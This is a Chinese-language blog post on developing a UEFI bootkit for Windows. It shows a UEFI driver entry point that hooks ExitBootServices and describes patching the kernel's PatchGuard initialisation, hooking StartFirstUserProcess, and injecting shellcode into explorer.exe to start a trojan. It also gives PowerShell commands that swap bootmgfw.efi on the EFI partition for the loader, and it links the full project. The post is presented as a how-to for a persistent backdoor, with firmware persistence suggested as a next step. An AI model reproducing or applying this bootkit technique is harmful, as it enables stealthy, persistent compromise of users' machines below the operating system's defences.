UEFI Bootkit

没有找到适合的图片

好久没写博客了发一篇笔记

MBR Bootkit不在叙述写这个的还是比较多的,UEFI Bootkit相较于MBR Bootkit从某种意义上来说开发要更为方便因为UEFI具有统一规范可以直接使用C/C++上手开发。

在正式介绍前先来简单说一下UEFI下Windows启动过程
Pasted image 20211013115430.png

  1. 基本过程如下
    PC开机,加电自检固件UEFI加载执行,初始化硬件
  2. 固件UEFI根据启动项从EFI分区中加载并启动\EFI\Microsoft\boot\bootmgfw.efi (Windows boot manager)
  3. bootmgfw.efi加载启动Winload.efi(Windows Os loader)
  4. Winload.efi加载执行Ntoskrnl.exe并将控制权移交给操作系统

我们此次开发的Bootkit从第二步入手直接替换bootmgfw.efi,为我们的loader,这个loader只有一个功能执行我们的UEFI驱动。我们的UEFI驱动在后门环境部署完成后回去加载执行原始的bootmgfw.efi进入正常的Windows引导流程(我们以上内容皆在Secure Boot关闭状态下为前提,如果Secure Boot开启会在执行我们的loader的时候就卡死因为签名校验不过)

UEFI驱动入口点如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
EFI_STATUS EFIAPI UefiMain(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE* SystemTable)
{
EFI_STATUS status;
//CalculateCrc32
originalExitBootServices = gBS->ExitBootServices;
gBS->ExitBootServices = HookExitBootServices;

//注册事件回调,在os loader 调用SetVirtualAddressMap时通知我们
//根据Edk2文档可以选用CreateEventEx配合gEfiEventVirtualAddressChangeGuid或EVT_SIGNAL_VIRTUAL_ADDRESS_CHANGE
//SetVirtualAddressMapEvent
status = gBS->CreateEvent(EVT_SIGNAL_VIRTUAL_ADDRESS_CHANGE, TPL_NOTIFY, NotifySetVirtualAddressMap, NULL, &virtualEvent);
if (status != EFI_SUCCESS)
{
DebugPrint(L"CreateEvent err");
}

EFI_DEVICE_PATH* BootmgfwPath;
EFI_HANDLE BootmgfwImageHandle;
//转换路径
UtilLocateFile(BootmgfwDiskPath, &BootmgfwPath);
//加载bootmgfw.efi
status = gBS->LoadImage(TRUE, ImageHandle, BootmgfwPath, NULL, 0, &BootmgfwImageHandle);
if (status != EFI_SUCCESS)
{
DebugPrint(L"LoadImage No bootmgfw.efi");
}
//启动
status = gBS->StartImage(BootmgfwImageHandle, 0, 0);

return status;

}

我们首先HOOK掉ExitBootServices因为此处是一个关键函数。

在Winload.efi中会对这个函数进行调用,此函数的作用是结束启动服务(EFI Boot Service)标志着操作系统已经准备就绪,官方文档
Pasted image 20211013124049.png

我们HOOK这里的目的是为了寻找被加载到内存中的ntoskrnl。为了寻找到ntoskrnl,我们需要先找到LOADER_PARAMETER_BLOCK这个结构体存储着所有的模块信息(具体请参照OslLoaderBlock函数)找到之后我们就可以开始遍历
Pasted image 20211013125400.png

随后搜索内核中的KeInitAmd64SpecificState函数这个是PG初始化执行的函数我们需要对它进行修补
Pasted image 20211013125553.png
Pasted image 20211013125939.png

继续搜索StartFirstUserProcess函数,这函数在内核中负责启动SMSS进程,但是我们并不能在这里直接HOOK它因为此时我们还处在物理地址,而StartFirstUserProcess函数在保护模式是虚拟地址等会系统启动我们需要转换后才能HOOK,我们这里只记录一下函数地址
Pasted image 20211013130708.png

在UefiMain函数中我们曾设置了一个回调函数NotifySetVirtualAddressMap,当os loader调用SetVirtualAddressMapEvent函数就会通知我们此时我们就可以在NotifySetVirtualAddressMap函数中通过ConvertPointer转换物理地址与虚拟地址对StartFirstUserProcess函数进行hook
Pasted image 20211013131441.png

剩下的就等待内核调用StartFirstUserProcess,然后我们创建一个系统线程去执行操作并调用原始的StartFirstUserProcess函数
Pasted image 20211013131612.png

在KernelMainThread线程里我们主要操作就是设置一个进程回调

Pasted image 20211013131731.png

Pasted image 20211013145450.png

设置进程回调的目的是等待用户登录时创建explorer.exe进程,当截获后我们就可以向其中注入shellcode

替换文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PS C:\Users\Admin\Desktop> Get-Volume | Select DriveLetter, FileSystemLabel, FileSystemType, Size, Path | Format-Table -Autosize

DriveLetter FileSystemLabel FileSystemType Size Path
----------- --------------- -------------- ---- ----
FAT32 205520896 \\?\Volume{5c8da14f-26c0-47cd-a477-74579d52e3c8}\
C NTFS 85553311744 \\?\Volume{6a0f8490-1d99-448e-9c21-9016ebc6113f}\
D Unknown 0 \\?\Volume{89e0f2f6-d4fc-11eb-a1ef-806e6f6e6963}\

选择FAT32分区

PS C:\Users\Admin\Desktop> cmd /c rename "\\?\Volume{5c8da14f-26c0-47cd-a477-74579d52e3c8}\EFI\Microsoft\Boot\bootmgfw.efi" "bootmgfw2.efi"
PS C:\Users\Admin\Desktop> cmd /c copy Test.efi "\\?\Volume{5c8da14f-26c0-47cd-a477-74579d52e3c8}\EFI\Microsoft\Boot\" /Y
已复制 1 个文件。
PS C:\Users\Admin\Desktop> cmd /c copy load_test.efi "\\?\Volume{5c8da14f-26c0-47cd-a477-74579d52e3c8}\EFI\Microsoft\Boot\bootmgfw.efi" /Y
已复制 1 个文件。

当用户登录时会自动向其中注入shellcode启动木马

Pasted image 20211013132128.png

Pasted image 20211013134636.png

项目代码

https://github.com/WBGlIl/Test_UEFI

编译请替换samples.default.props文件中的EDK_PATH和LibraryPath

目标系统版本:Windows 21H1

总结

UEFI Bootkit木马的一大难题在于Secure Boot,上面我们演示了非固件类的UEFI Bootkit,固件的类的UEFI Bookit可以做到即使更换硬盘都不会失效极其隐蔽但是固件UEFI需要写入SPI,这需要绕过多种保护措施但是一旦成功效果会非常好

相关参考

https://github.com/SamuelTulach/rainbow

https://wikileaks.org/ciav7p1/cms/page_36896783.html

https://uefi.org/sites/default/files/resources/UEFI-Plugfest-WindowsBootEnvironment.pdf

https://www.kaspersky.com/about/press-releases/2021_finfisher-spyware-improves-its-arsenal-with-four-levels-of-obfuscation-uefi-infection-and-more

https://www.4hou.com/posts/PrM2

https://www.4hou.com/posts/8O52

https://edk2-docs.gitbook.io/